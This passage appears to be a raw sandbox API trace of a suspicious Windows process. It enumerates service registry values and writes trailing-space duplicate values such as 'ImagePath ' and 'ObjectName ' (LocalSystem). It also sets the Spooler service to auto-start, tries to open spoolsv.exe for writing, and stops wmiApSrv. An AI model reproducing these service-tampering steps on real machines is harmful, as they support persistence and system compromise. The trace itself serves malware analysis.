lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.933] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.933] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.933] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.934] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.935] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0259.935] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.935] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.936] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.936] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0259.937] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.937] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.938] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.938] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.938] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.938] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.938] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.938] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.938] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\spoolsv.exe", cbData=0x20 | out: lpData="C:\\Windows\\System32\\spoolsv.exe") returned 0x0 [0259.938] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\spoolsv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\System32\\spoolsv.exe" [0259.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0259.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0259.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0259.938] LocalFree (hMem=0x7e4b18) returned 0x0 [0259.938] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\spoolsv.exe", cbData=0x20 | out: lpData="C:\\Windows\\System32\\spoolsv.exe") returned 0x0 [0259.939] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x2) returned 0x803990 [0259.939] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0259.940] CloseServiceHandle (hSCObject=0x803990) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.940] RegCloseKey (hKey=0xc4) returned 0x0 [0259.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0259.941] RegCloseKey (hKey=0x150) returned 0x0 [0259.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0259.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0259.941] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5786eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a5786eb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a59e84b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x88800)) returned 1 [0259.941] CreateFileW (lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.941] GetLastError () returned 0x20 [0259.941] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0259.942] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0259.942] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0259.942] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0259.942] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0259.942] GetLastError () returned 0x425 [0259.942] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0259.943] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.943] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.943] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 